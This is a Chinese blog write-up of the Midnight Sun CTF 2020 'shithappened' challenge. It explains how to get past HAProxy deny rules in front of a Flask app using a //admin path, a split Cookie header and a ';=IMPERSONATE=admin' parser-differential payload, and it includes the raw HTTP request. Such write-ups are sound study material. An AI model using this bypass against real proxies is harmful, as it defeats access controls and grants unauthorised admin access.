zoukankan      html  css  js  c++  java
  • Midnight sun CTF 2020

    Crossintheroof

    博客园有毒,这题一放出来就加载不了,换个地方看吧:
    http://phoebe233.cn/index.php/archives/32/#toc-Crossintheroof

    shithappened

    考点:flask+haproxy解析cookie

    题解

    这题是haproxy+flask,起初一直以为是这个haproxy的cve,一直没找到利用,唉,现在只有一个视频的wp:
    https://www.youtube.com/watch?v=vayPeD_YB1g
    首页是一个表单,点击会提交到/admin页面,但是会显示403,并且给出了haproxy的配置:

    global
      daemon
      log 127.0.0.1 local0 debug
    
    defaults
      log               global
      retries           3
      maxconn           2000
      timeout connect   5s
      timeout client    50s
      timeout server    50s
    
    resolvers docker_resolver
      nameserver dns 127.0.0.11:53
    
    frontend internal_access
      bind 127.0.0.1:8080
      mode http
      use_backend test
    
    frontend internet_access
      bind *:80
      errorfile 403 /etc/haproxy/errorfiles/403custom.http
      http-response set-header Server Server
      http-request deny if METH_POST
      http-request deny if { path_beg /admin }
      http-request deny if { cook(IMPERSONATE) -m found }
      http-request deny if { hdr_len(Cookie) gt 69 }
      mode http
      use_backend test
    
    backend test
      balance roundrobin
      mode http
      server flaskapp app:8282 resolvers docker_resolver resolve-prefer ipv4
    

    最重要的是这四个deny:

      http-request deny if METH_POST
      http-request deny if { path_beg /admin }
      http-request deny if { cook(IMPERSONATE) -m found }
      http-request deny if { hdr_len(Cookie) gt 69 }
    

    分别为:
    拒绝POST请求
    路径不能为/admin
    Cookie中不能有IMPERSONATE
    Cookie长度<69

    最终payload为:

    GET //admin HTTP/1.1
    ...
    Cookie: KEY=0be40039bcd8286eab237f481641b16e5e3ab442e0bc1135f08c143b22dc1efc;
    Cookie: ;=IMPERSONATE=admin
    

    用HEAD请求替代POST,//admin等同于/admin,然后可以看到提示我们设置Cookie
    在这里插入图片描述
    由于HTTP1.1支持cookie分行传输,所以可以以下方法绕过长度69限制

    Cookie: KEY=0be40039bcd8286eab237f481641b16e5e3ab442e0bc1135f08c143b22dc1efc;
    Cookie: IMPERSONATE=admin
    

    这样已经绕过了1、2、4,但是如果直接这样还是会被禁

    HEAD //admin HTTP/1.1
    ...
    Cookie: KEY=0be40039bcd8286eab237f481641b16e5e3ab442e0bc1135f08c143b22dc1efc;
    Cookie: IMPERSONATE=admin
    

    (原因在最后)
    在这里插入图片描述
    先来看看文档里的cook():
    在这里插入图片描述
    文档:https://cbonte.github.io/haproxy-dconv/1.7/configuration.html
    然后wp用了
    ;=IMPERSONATE=admin的方法进行绕过,个人理解是由于文档中所说:

    这将提取“ Cookie”上最后一次出现的Cookie名称<name>

    首先

    Cookie: KEY=0be40039bcd8286eab237f481641b16e5e3ab442e0bc1135f08c143b22dc1efc;
    Cookie: ;=IMPERSONATE=admin
    

    cook()取到的是我们最后一次出现的cookie,也就是;=IMPERSONATE,而不是IMPERSONATE,那么此时haproxy拿到的cookie为:{";":"IMPERSONATE=admin"}

    而flask是不支持;=作为cookie名的,所以flask的特性会忽略;自动往后取到IMPERSONATE
    那么经过cook()+flask解析就变成{"IMPERSONATE":"admin"}成功bypass了,然后将HEAD改成get就看到flag了,如下:
    在这里插入图片描述
    以上的图来自于:https://www.youtube.com/watch?v=vayPeD_YB1g
    这里要感谢这个友善的外国小哥:
    在这里插入图片描述
    本地测试一下,如下是一个简单的flask,观察到;=都不影响flask的cookie设置
    在这里插入图片描述
    下面测试分行传输cookie,pass成功被赋值1
    在这里插入图片描述

    一点小思考:

    cookie中如果有相同的键是会被后者覆盖的,如下pass=2覆盖pass=1:
    在这里插入图片描述
    但是为什么分行cookie的pass=3没有覆盖pass=2,而加上;就能被覆盖?
    在这里插入图片描述
    然后我用php测试结果如下:发现第二行的pass被加上了,_
    在这里插入图片描述
    而如果我们改成下面这样(注意分号)结果就为:{"pass":"123, "}
    在这里插入图片描述
    那么很显然,两行cookie直接使用,_连接在一起,解释一下,当第二行前面被加上;时,结果就变成这样:

    cookie:pass=123;, ;pass=456;
    

    转换成json格式为:

    {"pass":123,",_":"","pass":456}
    分割一下
    "pass":123
    ",_":""
    "pass":456
    

    由于cookie键名中是不能有空格的,所以空格就被替换为_便有了上面的结果
    可以在键中间加一个空格,可以看到被解析成了_
    在这里插入图片描述
    回到flask,没加分号时:

    cookie:pass=1;
    cookie:pass=2;
    

    实际的cookie就为:

    cookie:pass=1;, pass=2;
    json格式为:
    {"pass"=1,",_pass"=2}
    

    这样肯定不会被覆盖了,加了分号就把,_给隔开了:

    {"pass"=1,",_":"","pass"=2}
    

    到此flask的多行cookie覆盖问题就说通了,也说明了为什么题目中不能直接这样分行传cookie,就是,_的干扰!

    Cookie: KEY=0be40039bcd8286eab237f481641b16e5e3ab442e0bc1135f08c143b22dc1efc;
    Cookie: IMPERSONATE=admin
    

    但令我疑惑的是为什么php中不支持cookie覆盖?(占坑)
    在这里插入图片描述

  • 相关阅读:
    redis应用场景
    使用Nginx+Lua+Redis构建灰度发布环境
    Comparison method violates its general contract
    mysql+redis
    缓存技术PK:选择Memcached还是Redis?
    缓存技术PK
    菜鸟教程之工具使用(九)——Git如何进行分支的merge操作
    菜鸟教程之工具使用(八)——EGit禁止自动转换回车换行符
    菜鸟教程之工具使用(七)——从GIt上导出Maven项目
    菜鸟教程之工具使用(六)——让Maven项目直接在eclipse内部的Tomcat中运行
  • 原文地址:https://www.cnblogs.com/W4nder/p/12678747.html
Copyright © 2011-2022 走看看